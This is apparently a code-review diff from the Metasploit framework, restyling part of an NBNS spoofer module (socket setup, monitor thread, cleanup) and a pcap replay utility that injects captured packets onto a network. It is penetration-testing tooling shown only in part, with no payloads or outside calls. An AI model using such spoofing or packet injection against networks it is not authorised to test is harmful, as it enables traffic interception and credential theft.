||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
check_pcaprub_loaded
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
|
||||
|
||||
self.sock = Rex::Socket.create_udp(
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 137,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
add_socket(self.sock)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
add_socket(sock)
|
||||
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
|
||||
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
|
||||
begin
|
||||
monitor_socket
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
|
||||
end
|
||||
}
|
||||
self.thread = Rex::ThreadFactory.spawn('NBNSServerMonitor', false) do
|
||||
monitor_socket
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError
|
||||
print_error("Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}")
|
||||
end
|
||||
|
||||
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...")
|
||||
|
||||
self.thread.join
|
||||
print_status("NBNS Monitor thread exited...")
|
||||
thread.join
|
||||
print_status('NBNS Monitor thread exited...')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
if thread && thread.alive?
|
||||
thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
self.sock.close
|
||||
sock.close
|
||||
close_pcap
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,47 +8,57 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Pcap Replay Utility',
|
||||
'Name' => 'Pcap Replay Utility',
|
||||
'Description' => %q{
|
||||
Replay a pcap capture file
|
||||
Replay a packet capture (PCAP) file.
|
||||
},
|
||||
'Author' => 'amaloteaux',
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => 'amaloteaux',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('FILENAME', [true, "The local pcap file to process"]),
|
||||
OptString.new('FILE_FILTER', [false, "The filter string to apply on the file"]),
|
||||
OptInt.new('LOOP', [true, "The number of times to loop through the file",1]),
|
||||
OptInt.new('DELAY', [true, "the delay in millisecond between each loop",0]),
|
||||
OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]),
|
||||
OptPath.new('FILENAME', [true, 'The local pcap file to process']),
|
||||
OptString.new('FILE_FILTER', [false, 'The filter string to apply on the file']),
|
||||
OptInt.new('LOOP', [true, 'The number of times to loop through the file', 1]),
|
||||
OptInt.new('DELAY', [true, 'the delay in millisecond between each loop', 0]),
|
||||
OptInt.new('PKT_DELAY', [true, 'the delay in millisecond between each packet', 0]),
|
||||
])
|
||||
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'TIMEOUT', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded # Check first
|
||||
pkt_delay = datastore['PKT_DELAY']
|
||||
delay = datastore['DELAY']
|
||||
loop = datastore['LOOP']
|
||||
infinity = true if loop <= 0
|
||||
file_filter = datastore['FILE_FILTER']
|
||||
filename = datastore['FILENAME']
|
||||
verbose = datastore['VERBOSE']
|
||||
count = 0
|
||||
unless File.exist? filename and File.file? filename
|
||||
print_error("Pcap File does not exist")
|
||||
|
||||
unless File.exist?(filename) && File.file?(filename)
|
||||
print_error('Pcap File does not exist')
|
||||
return
|
||||
end
|
||||
|
||||
check_pcaprub_loaded
|
||||
|
||||
open_pcap
|
||||
print_status("Sending file...") unless verbose
|
||||
while (loop > 0 or infinity) do
|
||||
vprint_status("Sending file (loop: #{count = count + 1})")
|
||||
inject_pcap(filename, file_filter, pkt_delay )
|
||||
loop -= 1 unless infinity
|
||||
Kernel.select(nil, nil, nil, (delay * 1.0)/1000) if loop > 0 or infinity
|
||||
|
||||
vprint_status('Sending file...')
|
||||
|
||||
pkt_delay = datastore['PKT_DELAY']
|
||||
delay = datastore['DELAY']
|
||||
iterations = datastore['LOOP']
|
||||
infinity = true if iterations <= 0
|
||||
file_filter = datastore['FILE_FILTER']
|
||||
count = 0
|
||||
while (iterations > 0) || infinity
|
||||
vprint_status("Sending file (iterations: #{count += 1})")
|
||||
inject_pcap(filename, file_filter, pkt_delay)
|
||||
iterations -= 1 unless infinity
|
||||
Kernel.select(nil, nil, nil, (delay * 1.0) / 1000) if (iterations > 0) || infinity
|
||||
end
|
||||
|
||||
close_pcap
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user